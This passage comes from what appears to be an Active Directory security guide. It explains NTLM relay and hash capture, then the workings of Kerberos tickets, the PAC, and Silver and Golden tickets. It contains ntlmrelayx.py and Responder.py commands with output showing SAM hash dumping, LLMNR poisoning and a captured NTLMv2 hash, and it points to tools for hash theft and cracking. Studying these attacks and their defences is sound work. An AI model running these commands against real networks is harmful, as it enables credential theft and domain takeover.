and relay the LDAP NTLM<br \/>\nmessages, that by default sets the <em>NTLMSSP_NEGOTIATE_SIGN<\/em> flag. Once the NTLM<br \/>\nnegotiation is finished, since signing is not used in SMB if it is not required,<br \/>\nthe session will not require signing, so the attack success. However, this<br \/>\nattack is not possible against DCs since by default they require signing.<\/p>\n<figure>\n<pre>    client &lt;-----LDAP----&gt; attacker &lt;------SMB2------&gt; server (Non DC)\n      |                       |\n      |     LDAP request      |                          |\n      | --------------------&gt; |                          |\n      |                       |                          |\n      |     LDAP response     |                          |\n      | &lt;-------------------- |                          |\n      |                       |                          |\n      |                       |  SMB2 NEGOTIATE REQUEST  |\n      |                       | -----------------------&gt; |\n      |                       |  SMB SIGN_REQUIRED = 0   |  \n      |                       |                          |\n      |                       |                          |\n      |                       |  SMB2 NEGOTIATE RESPONSE |\n      |                       | &lt;----------------------- |\n      |                       |  SMB SIGN_REQUIRED = 0   |  \n      |                       |                          |\n      |                       |                     -----|--.\n      |   NEGOTIATE SIGN=1    |     NEGOTIATE SIGN=1     |  |\n      | --------------------&gt; | -----------------------&gt; |  |\n      |                       |                          |  |\n      |                       |                          |  |\n      |   CHALLENGE SIGN=1    |     CHALLENGE SIGN=1     |  |&gt; NTLM Relay\n      | &lt;-------------------- | &lt;----------------------- |  |\n      |                       |                          |  |\n      |                       |                          |  | \n      |  AUTHENTICATE SIGN=1  |   AUTHENTICATE SIGN=1    |  |\n      | --------------------&gt; | -----------------------&gt; | -|---&gt; MIC OK!!\n      |                       |                     -----|--'\n      |                       |         ||               |\n      |                       |         vv               |\n      |                       | client SIGN_REQUIRED = 0 |\n      |                       | server SIGN_REQUIRED = 0 |\n      |                       |         ||               |\n      |                       |         vv               |\n      |                       |  Signing NOT required    |\n      |                       |   Successful Attack!!    |\n      |                       |                          |\n      |                       |    application           |\n      |                       |     messages             |\n      |                       | -----------------------&gt; |\n      |                       |                          |\n      |                       | &lt;----------------------- |\n      |                       |                          |\n      |                       | -----------------------&gt; |\n      |                       |                          |\n<\/pre><figcaption>\nCross-protocol NTLM Relay from SMB2 to LDAP (default case).<br \/>\n<\/figcaption><\/figure>\n<p>Actually, the SMB2 protocol can be relayed against itself:<\/p>\n<figure>\n<pre> client &lt;------SMB2-----&gt; attacker &lt;------SMB2------&gt; server (Non DC)\n   |                          |                          |\n   | SMB2 NEGOTIATE REQUEST   |  SMB2 NEGOTIATE REQUEST  |\n   | -----------------------&gt; | -----------------------&gt; |\n   |  SMB SIGN_REQUIRED = 0   |  SMB SIGN_REQUIRED = 0   |\n   |                          |                          |\n   |                          |                          |\n   | SMB2 NEGOTIATE RESPONSE  |  SMB2 NEGOTIATE RESPONSE |\n   | &lt;----------------------- | &lt;----------------------- |\n   |  SMB SIGN_REQUIRED = 0   |  SMB SIGN_REQUIRED = 0   |\n   |                          |                          |\n   |                          |                          |\n   |                          |                     -----|--.\n   |   NEGOTIATE SIGN=1       |     NEGOTIATE SIGN=1     |  |\n   | --------------------&gt;    | -----------------------&gt; |  |\n   |                          |                          |  |\n   |                          |                          |  |\n   |   CHALLENGE SIGN=1       |     CHALLENGE SIGN=1     |  |&gt; NTLM Relay\n   | &lt;--------------------    | &lt;----------------------- |  |\n   |                          |                          |  |\n   |                          |                          |  | \n   |  AUTHENTICATE SIGN=1     |   AUTHENTICATE SIGN=1    |  |\n   | --------------------&gt;    | -----------------------&gt; | -|---&gt; MIC OK!!\n   |                          |                     -----|--'\n   |                          |           ||             |\n   |                          |           vv             |\n   |                          | client SIGN_REQUIRED = 0 |\n   |                          | server SIGN_REQUIRED = 0 |\n   |                          |           ||             |\n   |                          |           vv             |\n   |                          |  Signing NOT required    |\n   |                          |   Successful Attack!!    |\n   |                          |                          |\n   |                          |       application        |\n   |                          |        messages          |\n   |                          | -----------------------&gt; |\n   |                          |                          |\n   |                          | &lt;----------------------- |\n   |                          |                          |\n   |                          | -----------------------&gt; |\n   |                          |                          |\n<\/pre><figcaption>\nSMB2 NTLM Relay (default case).<br \/>\n<\/figcaption><\/figure>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"text\">$ ntlmrelayx.py -t 192.168.100.10 -smb2support --no-http-server\nImpacket v0.9.21 - Copyright 2020 SecureAuth Corporation\n[*] Protocol Client HTTP loaded..\n[*] Protocol Client HTTPS loaded..\n[*] Protocol Client SMB loaded..\n[*] Protocol Client LDAP loaded..\n[*] Protocol Client LDAPS loaded..\n[*] Protocol Client SMTP loaded..\n[*] Protocol Client IMAP loaded..\n[*] Protocol Client IMAPS loaded..\n[*] Protocol Client MSSQL loaded..\n\/usr\/lib\/python3\/dist-packages\/requests\/__init__.py:91: RequestsDependencyWarning: urllib3 (1.26.3) or chardet (3.0.4) doesn't match a supported version!\n  RequestsDependencyWarning)\n[*] Running in relay mode to single host\n[*] Setting up SMB Server\n[*] Servers started, waiting for connections\n[*] SMBD-Thread-2: Connection from CONTOSO\/mahyar@192.168.100.7 controlled, attacking target smb:\/\/192.168.100.10\n[*] Authenticating against smb:\/\/192.168.100.10 as CONTOSO\/mahyar SUCCEED\n[*] Service RemoteRegistry is in stopped state\n[*] Starting service RemoteRegistry\n[*] Target system bootKey: 0xb471eae0e93128b9c8d5780c19ac9f1d\n[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)\nAdministrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::\nGuest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::\nDefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::\nWDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:6535b87abdb112a8fc3bf92528ac01f6:::\nuser:1001:aad3b435b51404eeaad3b435b51404ee:57d583aa46d571502aad4bb7aea09c70:::\nsrvuser:1005:aad3b435b51404eeaad3b435b51404ee:38db3f2d2842051c8b7c01d56da283dd:::\n[*] Done dumping SAM hashes for host: 192.168.100.10\n[*] Stopping service RemoteRegistry<\/code><\/pre><figcaption>\nNTLM Relay SMB2 to SMB2 with ntlmrelayx.py<br \/>\n<\/figcaption><\/figure>\n<p>Another protocol that can use NTLM is <a href=\"#http\">HTTP<\/a>, but by default signing it is not<br \/>\nused. So HTTP can be used for an cross-protocol relay attack for LDAP or SMB.<\/p>\n<figure>\n<pre>    client &lt;-----HTTP----&gt; attacker &lt;----LDAP----&gt; server\n      |                       |                      |\n      |                       |                 -----|--.\n      |     NEGOTIATE SIGN=0  |  NEGOTIATE SIGN=0    |  |\n      | --------------------&gt; | -------------------&gt; |  |\n      |                       |                      |  |\n      |     CHALLENGE SIGN=1  |  CHALLENGE SIGN=1    |  |&gt; NTLM Relay\n      | &lt;-------------------- | &lt;------------------- |  |\n      |                       |                      |  | \n      |  AUTHENTICATE SIGN=0  | AUTHENTICATE SIGN=0  |  |\n      | --------------------&gt; | -------------------&gt; | -|---&gt; MIC OK!! \n      |                       |                 -----|--'\n      |                       |         ||           |\n      |                       |         vv           |\n      |                       |    client SIGN = 0   |\n      |                       |    server SIGN = 1   |\n      |                       |         ||           |\n      |                       |         vv           |\n      |                       | Signing NOT required |\n      |                       |  Successful Attack!! |\n      |                       |                      |\n      |                       |    application       |\n      |                       |     messages         |\n      |                       | -------------------&gt; |\n      |                       |                      |\n      |                       | &lt;------------------- |\n      |                       |                      |\n      |                       | -------------------&gt; |\n      |                       |                      |\n<\/pre><figcaption>\nCross-protocol NTLM Relay from HTTP to LDAP.<br \/>\n<\/figcaption><\/figure>\n<p>As you can see, since the client doesn&#8217;t specify that signing is enabled, LDAP<br \/>\nsigning is not required. This scenario was used to exploit the <a href=\"https:\/\/dirkjanm.io\/abusing-exchange-one-api-call-away-from-domain-admin\/\">PrivExchange<\/a><br \/>\nvulnerability. Relaying to LDAP is very useful since you could use to alter the<br \/>\nACLs or objects of the domain <a href=\"#database\">database<\/a>, allowing you to escalate<br \/>\n<a href=\"#acl-attacks\">privileges in some cases<\/a>.<\/p>\n<p>To perform NTLM relay attacks we can use the <a href=\"https:\/\/github.com\/SecureAuthCorp\/impacket\/blob\/master\/examples\/ntlmrelayx.py\">ntlmrelayx.py<\/a> or<br \/>\n<a href=\"https:\/\/github.com\/lgandx\/Responder\/blob\/master\/tools\/MultiRelay.py\">MultiRelay.py<\/a> scripts, in conjuction with <a href=\"https:\/\/github.com\/lgandx\/Responder\">Responder.py<\/a> that allows to perform<br \/>\nPerson-in-The-Middle attacks. In Windows, other option is to use <a href=\"https:\/\/github.com\/Kevin-Robertson\/Inveigh\">Inveigh<\/a> to<br \/>\nperform both MiTM and relay. The limitation of this tools is that doesn&#8217;t allow<br \/>\nto perform NTLM relay attack from SMB2 to SMB2 from a Windows machine, since the<br \/>\nport 445 is used by the system.<\/p>\n<p>Apart from SMB and LDAP, there are other protocols like MS-SQL or SMTP that<br \/>\nsupport NTLM and could be use for this attack.<\/p>\n<h6 id=\"ntlm-relay-protections\">\nNTLM Relay Protections<\/h6>\n<p>However, there are protections for cross-protocol NTLM Relay, <strong>Channel<br \/>\nBinding<\/strong> or <strong>EPA<\/strong> (Enhanced Protection for Authentication). The idea behind<br \/>\nChannel Binding is to add information about the application protocol to the<br \/>\nAUTHENTICATE message of NTLM, that is protected by the MIC. Two types of<br \/>\nbindings are introduced: <strong>Service binding<\/strong> and <strong>TLS binding<\/strong>.<\/p>\n<p><a href=\"https:\/\/en.hackndo.com\/ntlm-relay\/#service-binding\">Service binding<\/a> consists of the client indicating the <a href=\"#services\">service SPN<\/a> in <a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-nlmp\/83f5e789-660d-4781-8491-5f8c6641f75e\">AvPairs<\/a> of<br \/>\nthe AUTHENTICATE message (that are protected by the NTLMv2 hash), so the server<br \/>\ncan check if the NTLM request was meant for it. For example, if a client<br \/>\nindicates that the NTLM request is for an LDAP service, and the server that<br \/>\nreceives it handles SMB (since there is an attacker in the middle), it will<br \/>\nreject the authentication. Moreover, the SPN also indicates the address of the<br \/>\nserver, so if it is relayed to a different server, the authentication will be<br \/>\nrejected.<\/p>\n<p>On the other hand, in <a href=\"https:\/\/en.hackndo.com\/ntlm-relay\/#tls-binding\">TLS binding<\/a> the client calculates a hash, known as CBT<br \/>\n(Channel Binding Token), with the session key of the server certificate, that it<br \/>\nis used to create a TLS channel. If there an attacker performing a MiTM attack,<br \/>\nthen the certificate provided by the attacker (it needs to create a new<br \/>\ncertificate to decrypt\/encrypt TLS traffic) will be different from that of the<br \/>\noriginal server. Thus, the server will check the CBT generated by the client and<br \/>\nif it doesn&#8217;t match with the hash of its own certificate, it will reject the<br \/>\nauthentication.<\/p>\n<p>Same as for the signing, the application of the Channel Binding depends on the<br \/>\napplication protocol. The updated clients of <a href=\"https:\/\/support.microsoft.com\/en-us\/help\/2345886\/description-of-the-update-that-implements-extended-protection-for-auth#section-3\">SMB<\/a> and <a href=\"https:\/\/support.microsoft.com\/en-us\/help\/4034879\/how-to-add-the-ldapenforcechannelbinding-registry-entry\">LDAP<\/a> should use Channel<br \/>\nbinding, however the servers don&#8217;t seem to check it.<\/p>\n<h5 id=\"ntlm-hashes-cracking\">\nNTLM hashes cracking<\/h5>\n<p>Notwithstanding, even in the case of being unable to performing relay attacks,<br \/>\nit is stil possible to <a href=\"https:\/\/0xdf.gitlab.io\/2019\/01\/13\/getting-net-ntlm-hases-from-windows.html\">grab the NTLM hashes<\/a> by performing a Person-in-The-Middle<br \/>\nattack and then crack them. You can use tools like <a href=\"https:\/\/github.com\/lgandx\/Responder\">Responder.py<\/a> or <a href=\"https:\/\/github.com\/Kevin-Robertson\/Inveigh\">Inveigh<\/a> to<br \/>\nperform a PiTM attack.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"text\"># .\/Responder.py -I enp7s0\n                                         __\n  .----.-----.-----.-----.-----.-----.--|  |.-----.----.\n  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|\n  |__| |_____|_____|   __|_____|__|__|_____||_____|__|\n                   |__|\n           NBT-NS, LLMNR &amp; MDNS Responder 3.0.2.0\n  Author: Laurent Gaffie (laurent.gaffie@gmail.com)\n  To kill this script hit CTRL-C\n[+] Poisoners:\n    LLMNR                      [ON]\n    NBT-NS                     [ON]\n    DNS\/MDNS                   [ON]\n[+] Servers:\n    HTTP server                [ON]\n    HTTPS server               [ON]\n    WPAD proxy                 [OFF]\n    Auth proxy                 [OFF]\n    SMB server                 [ON]\n    Kerberos server            [ON]\n    SQL server                 [OFF]\n    FTP server                 [ON]\n    IMAP server                [ON]\n    POP3 server                [ON]\n    SMTP server                [ON]\n    DNS server                 [ON]\n    LDAP server                [OFF]\n    RDP server                 [ON]\n[+] HTTP Options:\n    Always serving EXE         [OFF]\n    Serving EXE                [OFF]\n    Serving HTML               [OFF]\n    Upstream Proxy             [OFF]\n[+] Poisoning Options:\n    Analyze Mode               [OFF]\n    Force WPAD auth            [OFF]\n    Force Basic Auth           [OFF]\n    Force LM downgrade         [OFF]\n    Fingerprint hosts          [OFF]\n[+] Generic Options:\n    Responder NIC              [enp7s0]\n    Responder IP               [192.168.100.137]\n    Challenge set              [random]\n    Don't Respond To Names     ['ISATAP']\n[!] Error starting TCP server on port 80, check permissions or other servers running.\n[+] Listening for events...\n[*] [LLMNR]  Poisoned answer sent to 192.168.100.7 for name fake-pc\n[*] [LLMNR]  Poisoned answer sent to 192.168.100.7 for name fake-pc\n[SMB] NTLMv2-SSP Client   : 192.168.100.7\n[SMB] NTLMv2-SSP Username : CONTOSOmahyar\n[SMB] NTLMv2-SSP Hash     : mahyar::CONTOSO:9ec132434bd81f13:77E13480A5BE1935B832EE3E698C2424:0101000000000000C0653150DE09D2017C322564C9ADBF6D000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D20106000400020000000800300030000000000000000100000000200000EE905EC8AAB434C41EE46C38DB764C06DF037FE97986A0CE2A7B6D7043FA4C900A001000000000000000000000000000000000000900180063006900660073002F00660061006B0065002D00700063000000000000000000<\/code><\/pre><figcaption>\nNTLM hashes capture with Responder.py<br \/>\n<\/figcaption><\/figure>\n<p>Another known possibility to retrieve NTLM hashes is to <a href=\"https:\/\/www.securify.nl\/blog\/living-off-the-land-stealing-netntlm-hashes\">craft malicious files<\/a><br \/>\nthat establish connections with your server when they are open. You can use<br \/>\n<a href=\"https:\/\/github.com\/Greenwolf\/ntlm_theft\">ntlm_theft<\/a> in order to create files to recolect NTLM hashes.<\/p>\n<p>Additionally, you can use vulnerabilities in web services like <a href=\"https:\/\/osandamalith.com\/2017\/03\/24\/places-of-interest-in-stealing-netntlm-hashes\/\">XXE or LFI<\/a> to<br \/>\ngrab NTLM hashes, by forcing connections to your controlled machine. Some times<br \/>\nis even possible to grab NTLM hashes across the internet.<\/p>\n<p>Finally, you can crack the NTLM hashes with <a href=\"https:\/\/hashcat.net\/hashcat\/\">hashcat<\/a>. The NTLM hashes (or<br \/>\nNet-NTLM hashes) are created by using the NT hash of the client account (and<br \/>\npublic information contained in the AUTHENTICATE message). The NTLMv1 hashes are<br \/>\nfaster to crack than NTLMv2 hashes since they are created with weaker algorithms.<\/p>\n<h3 id=\"kerberos\">\nKerberos<\/h3>\n<h4 id=\"kerberos-basics\">\nKerberos Basics<\/h4>\n<p><a href=\"https:\/\/tools.ietf.org\/html\/rfc4120\">Kerberos<\/a> is the preferred authentication protocol in Active Directory<br \/>\nnetworks for domain accounts (it cannot be used in workgroups). It is<br \/>\nimplemented by the <a href=\"#kerberos-ssp\">Kerberos SSP<\/a>. Kerberos is described in the <a href=\"https:\/\/tools.ietf.org\/html\/rfc4120\">RFC 4120<\/a>, and the<br \/>\nextensions used in Active Directory are documented in the <a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-kile\/2a32282e-dd48-4ad9-a542-609804b02cc9\">MS-KILE<\/a> documentation.<\/p>\n<p>Kerberos focuses on the use of tokens called &#8220;tickets&#8221; that allows an user to be<br \/>\nauthenticated against a principal.<\/p>\n<h5 id=\"kerberos-principals\">\nKerberos principals<\/h5>\n<p>The most common <a href=\"https:\/\/datatracker.ietf.org\/doc\/html\/rfc4120#section-6.2\">Kerberos principals<\/a> are users and <a href=\"#services\">services<\/a>, being this last type<br \/>\nthe most used.<\/p>\n<p>To request a ticket for an service, you have to specify its SPN. For example,<br \/>\nHTTP\/computer. There are several Kerberos principal types that can be used to<br \/>\nrequest for a service: NT-SRV-INST, NT-SRV-HST or NT-SRV-XHST.<\/p>\n<p>On the other part, it is possible to use principals to represent users, and in<br \/>\nfact they are usually used to indicate the name of the client that is requesting<br \/>\nthe ticket. The user is usually represented by the <code>SamAccountName<\/code> (e.g &#8220;foo&#8221;),<br \/>\nusing the NT-PRINCIPAL type.<\/p>\n<p>However, for there is also the<br \/>\n<a href=\"https:\/\/swarm.ptsecurity.com\/kerberoasting-without-spns\/\">NT-ENTERPRISE type, that allows more explicit formats for identifying an user<\/a>,<br \/>\nlike <code>SamAccountName@DomainFQDN<\/code> (e.g &#8220;foo@contoso.local&#8221;). The NT-ENTERPRISE<br \/>\ncan be useful to identify users from different domains, when you are making an<br \/>\ninter-domain request.<\/p>\n<p>Additionally, you can also use a user principal as a target for a ticket. This<br \/>\nfact can be used by an attacker to perform a <a href=\"#kerberoast\">Kerberoast<\/a> attack<br \/>\n<a href=\"https:\/\/swarm.ptsecurity.com\/kerberoasting-without-spns\/\">without knowing the services of users<\/a>.<\/p>\n<h5 id=\"tickets\">\nTickets<\/h5>\n<p><a href=\"https:\/\/tools.ietf.org\/html\/rfc4120#section-5.3\">Tickets<\/a> are structures partially encrypted that contain:<\/p>\n<ul>\n<li>The target principal (usually a service) for which the ticket applies<\/li>\n<li>Information related to the client, such as the name and domain<\/li>\n<li>A key to establish secure channels between the client and the service<\/li>\n<li>Timestamps to determine the period in which the ticket is valid<\/li>\n<\/ul>\n<figure>\n<pre><code data-lang=\"asn1\">Ticket          ::= [APPLICATION 1] SEQUENCE {\n        tkt-vno         [0] INTEGER (5),\n        realm           [1] Realm,\n        sname           [2] PrincipalName, -- Usually the service SPN\n        enc-part        [3] EncryptedData -- EncTicketPart\n}\nEncTicketPart   ::= [APPLICATION 3] SEQUENCE {\n        flags                   [0] TicketFlags,\n        key                     [1] EncryptionKey, -- Session Key\n        crealm                  [2] Realm,\n        cname                   [3] PrincipalName,\n        transited               [4] TransitedEncoding,\n        authtime                [5] KerberosTime,\n        starttime               [6] KerberosTime OPTIONAL,\n        endtime                 [7] KerberosTime,\n        renew-till              [8] KerberosTime OPTIONAL,\n        caddr                   [9] HostAddresses OPTIONAL,\n        authorization-data      [10] AuthorizationData OPTIONAL -- Includes a PAC\n}<\/code><\/pre><figcaption>\nTicket definition<br \/>\n<\/figcaption><\/figure>\n<h6 id=\"pac\">\nPAC<\/h6>\n<p>Apart from the regular ticket data, the Active Directory implementation of<br \/>\nKerberos usually includes in the <code>authorization-data<\/code> ticket field an important<br \/>\nstructure in Active Directory authentication: the PAC.<\/p>\n<p>The <a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-pac\/166d8064-c863-41e1-9c23-edaaa5f36962\">PAC<\/a> (Privilege Attribute Certificate) contains <a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-pac\/69e86ccc-85e3-41b9-b514-7d969cd0ed73\">security information<\/a> related<br \/>\nwith the client:<\/p>\n<ul>\n<li>The client domain: Includes the domain name and <a href=\"#sid\">SID<\/a> (LogonDomainName and<br \/>\nLogonDomainId respectively).<\/li>\n<li>The client user: The username and user <a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-pac\/f2ef15b6-1e9b-48b5-bf0b-019f061d41c8#gt_df3d0b61-56cd-4dac-9402-982f1fedc41c\">RID<\/a> (EffectiveName and UserId<br \/>\nrespectively).<\/li>\n<li>The client groups: The <a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-pac\/f2ef15b6-1e9b-48b5-bf0b-019f061d41c8#gt_df3d0b61-56cd-4dac-9402-982f1fedc41c\">RIDs<\/a> (GroupIds) of those domain groups to which the<br \/>\nuser belongs.<\/li>\n<li>Other groups: The PAC includes other <a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-dtyp\/78eb9013-1c3a-4970-ad1f-2b1dad588a25\">SIDs<\/a> (ExtraSids) that references to<br \/>\nnon-domain groups, that can be applied for inter-domain authentications, as<br \/>\nwell as <a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-dtyp\/81d92bba-d22b-4a8c-908a-554ab29148ab\">Well-Known SIDs<\/a> used to indicate special characteristics.<\/li>\n<\/ul>\n<p>Apart from user info the PAC also include <a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-pac\/6e95edd3-af93-41d4-8303-6c7955297315\">several signatures<\/a> used to verify the<br \/>\nintegrity of the PAC and ticket data.<\/p>\n<ul>\n<li><a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-pac\/a194aa34-81bd-46a0-a931-2e05b87d1098\">Server signature<\/a>: A signature of the PAC content created with the same key<br \/>\nused to encrypt the ticket.<\/li>\n<li><a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-pac\/3122bf00-ea87-4c3f-92a0-91c0a99f5eec\">KDC signature<\/a>: A signature of the Server signature created with the KDC key.<br \/>\nThis could be used to check that the PAC was created by the KDC and prevent<br \/>\n<a href=\"#golden-silver-ticket\">Silver ticket<\/a> attacks, but is not checked.<\/li>\n<li><a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-pac\/76c10ef5-de76-44bf-b208-0d8750fc2edd\">Ticket signature<\/a>: A signature of the ticket content created with the KDC key.<br \/>\nThis signature was recently introduced to prevent the <a href=\"https:\/\/blog.netspi.com\/cve-2020-17049-kerberos-bronze-bit-theory\/\">Bronze bit attack<\/a>.<\/li>\n<\/ul>\n<h5 id=\"kerberos-actors\">\nKerberos actors<\/h5>\n<p>As we have seen Kerberos uses tickets to authenticate users against services.<br \/>\nBut how are they are used? To answer this question, before we should know what<br \/>\nactors are involved in Kerberos authenticate.<\/p>\n<p>We already know the first one, the client. This is the user that receives the<br \/>\ntickets and uses them get access to the services in the domain (or forest).<\/p>\n<p>Then we have the second actor, the service. Well, usually Kerberos talk about<br \/>\nthe <strong>AP<\/strong> (Application Server), that is the machine that offers the service the<br \/>\nuser wants to access. The AP can be any computer of the domain.<\/p>\n<p>And finally, we need that someone provide the tickets to the user, that is the<br \/>\npurpose of the <strong>KDC<\/strong> (Key Distribution Center). As you may guess, in Active<br \/>\nDirectory the KDC is the Domain Controller, since is the one that has access to<br \/>\nthe domain <a href=\"#database\">database<\/a> required to authenticate users.<\/p>\n<blockquote><p>In Kerberos, the TGTs are provided by the Authentication Service (AS) and the<br \/>\nTGSs by the Ticket-Granting Server. Both services ask to the KDC for the<br \/>\nKerberos keys. However, since all these services usually run in the same server,<br \/>\nfor sake of simplicity will be refer them just as KDC.<\/p><\/blockquote>\n<h5 id=\"ticket types\">\nTicket types<\/h5>\n<p>So now that we have the client, the AP, the KDC and the tickets let&#8217;s see how<br \/>\nthis Kerberos protocol work. For this we should keep in mind that there are two<br \/>\ntypes of tickets in Kerberos protocol:<\/p>\n<h6 id=\"tgs\">\nTGS<\/h6>\n<p>The first type are <strong>TGSs<\/strong> (Ticket Granting Service), that a client presents to a<br \/>\nAP\/service\/principal in order to get access to it. The KDC issues the TGSs for<br \/>\nclients that request for them.<\/p>\n<p>In Active Directory, a client can get a TGS for any <a href=\"#services\">service<\/a> registered in the<br \/>\ndomain database, it doesn&#8217;t matter if the user cannot access to the service<br \/>\n(Kerberos doesn&#8217;t handle authorization) or even if the service is not running.<\/p>\n<p>The TGSs are meant to be read by the target principal\/service and no one else<br \/>\nsince they include information about the client that needs to be authenticated<br \/>\nand the session key to establish a connection with the client. Therefore, the<br \/>\n<strong>TGSs are encrypted with the key of the target principal<\/strong>.<\/p>\n<p>In case of Active Directory, usually the target principals are services, that<br \/>\nbelongs to user accounts (or computer accounts, that are also users in Active<br \/>\nDirectory). In that case the TGTs are encrypted with the key of the account owner<br \/>\nof the service.<\/p>\n<p>From this information we can conclude a couple of things:<\/p>\n<p>Firstly, if we know the key of the target principal (that is derived from the<br \/>\npassword) then we could forge tickets for that principal. In terms of Active<br \/>\nDirectory, if we know the key of an user, we can craft custom tickets to access<br \/>\nto any service of that user. These custom tickets are know as <a href=\"#golden-silver-ticket\">Silver ticket<\/a>.<\/p>\n<p>For example, if you know the password of a computer account (stored in the <a href=\"#lsa-secrets\">LSA<br \/>\nSecrets<\/a> of the machine), you can create Silver tickets for the <a href=\"#smb\">SMB<\/a> service of<br \/>\nthe machine and access like an Administrator to the machine.<\/p>\n<p>However, you may notice that the KDC signature of the ticket PAC is signed with<br \/>\nthe KDC key, so we cannot forge a total real ticket. That is true, however, the<br \/>\nKDC signature is not checked by services.<\/p>\n<p>The second think to note is that if several services belongs to the same user,<br \/>\nthey will be encrypted with the same key. You can use this information along<br \/>\nwith the fact that the target service of the ticket is specify in the not<br \/>\nencrypted part of the ticket (the <code>sname<\/code> field). Hence, then if you change<br \/>\nthe target service of the ticket to another service of the same user, the<br \/>\n<a href=\"https:\/\/www.secureauth.com\/blog\/kerberos-delegation-spns-and-more\/\">ticket will work<\/a> for the new target service.<\/p>\n<p>This technique could be useful in some situations, for example, if you are able<br \/>\nto get a TGS for an administrator to an MSSQL database in machineA (SPN =<br \/>\nMSSQLSvcmachineA), you could modify the service to point the <a href=\"#smb\">SMB<\/a> service<br \/>\nof the same machine (SPN = CIFSmachineA) and get access to the machineA.<\/p>\n<h6 id=\"tgt\">\nTGT<\/h6>\n<p>In order to get a TGS from the KDC, the user is required to present the other<br \/>\ntype of ticket, a <strong>TGT<\/strong> (Ticket Granting Ticket). The TGT is like a TGS for the<br \/>\nKDC (and, in fact, is not more than that).<\/p>\n<p>Actually, following the principle that only the target principal should be<br \/>\nallowed to access to the ticket, all the TGTs are encrypted with the key of the<br \/>\n<code>krbtgt<\/code> account of the domain, known as the KDC key. Therefore, if you can<br \/>\nretrieve the key of the <code>krbtgt<\/code> (stored in the <a href=\"#domain-database-dumping\">domain database<\/a>), you could<br \/>\ncreate custom TGTs known as <a href=\"#golden-silver-ticket\">Golden tickets<\/a>.<\/p>\n<p>Since you can create ticket for any client, you could impersonate any user in<br \/>\nthe domain, including Administrators. The Golden tickets can even used to<br \/>\n<a href=\"https:\/\/www.harmj0y.net\/blog\/redteaming\/a-guide-to-attacking-domain-trusts\/\">compromise the entire forest<\/a> by setting special privileged SIDs in the PAC, like<br \/>\n<a href=\"#administrative-groups\">Enterprise Admins<\/a>.<\/p>\n<p>This can be done because the PAC contains the security data related to the user<br \/>\nand it is not verified if the information is true (at least until the ticket<br \/>\n<a href=\"https:\/\/passing-the-hash.blogspot.com\/2014\/09\/pac-validation-20-minute-rule-and.html\">is 20 minutes old<\/a>), so you can add any user to any group inside of the ticket,<br \/>\nand even create tickets for non-existent users.<\/p>\n<p>In order to get a TGT, the user <em>usually<\/em> needs to be authenticated against the<br \/>\nKDC by using its credentials.<\/p>\n<h5 id=\"ticket-acquisition\">\nTicket acquisition<\/h5>\n<p>Now that we know about TGSs and TGTs, let&#8217;s examine in more detail <a href=\"https:\/\/www.tarlogic.com\/en\/blog\/how-kerberos-works\/\">how Kerberos<br \/>\nworks<\/a>, which means, <a href=\"https:\/\/syfuhs.net\/a-bit-about-kerberos\">how tickets are issued<\/a>:<\/p>\n<figure>\n<pre>                              KDC (DC)\n   .-----&gt;-1) AS-REQ-------&gt;   .---.\n   |                          \/   \/| -------8] PAC Response-----------.\n   | .--&lt;-2) AS-REP (TGT)--&lt; .---. |                                  |\n   | |                       |   | '                                  |\n   | | .&gt;-4) TGS-REQ (TGT)-&gt; |   |\/  &lt;-7] KERB_VERIFY_PAC_REQUEST-.   |\n   | | |                     '---'                                |   |\n   | | | .&lt;-5) TGS-REP (TGS)-&lt;'                                   |   |\n   | | | |                                                        |   v\n   | v | v                                                        ^   \n   ^   ^                                                          .---.\n    _____                                                        \/   \/|\n   |     |   &lt;----3) Authentication negotiation (SPNEGO)----&gt;   .---. |\n   |_____|                                                      |   | '\n   \/:::::\/   &gt;-------------------6) AP-REQ (TGS)------------&gt;   |   |\/ \n   client                                                       '---'  \n             &lt;-------------------9] AP-REP------------------&lt;  AP (service)\n<\/pre><figcaption>\nKerberos process<br \/>\n<\/figcaption><\/figure>\n<ol>\n<li>The client requests a TGT to the AS (KDC) by sending an <a href=\"https:\/\/tools.ietf.org\/html\/rfc4120#section-5.4.1\">AS-REQ<\/a> message. In<br \/>\nthe AS-REQ message the client can include a timestamp encrypted with its<br \/>\nKerberos key. This is called Kerberos <a href=\"https:\/\/docs.microsoft.com\/en-us\/previous-versions\/windows\/it-pro\/windows-2000-server\/cc961961(v=technet.10)?redirectedfrom=MSDN\">preauthentication<\/a> and<br \/>\n<a href=\"https:\/\/en.hackndo.com\/kerberos-asrep-roasting\/\">sometimes is not required<\/a>.<\/li>\n<li>The AS (KDC) checks the timestamp (or not) and responds with an <a 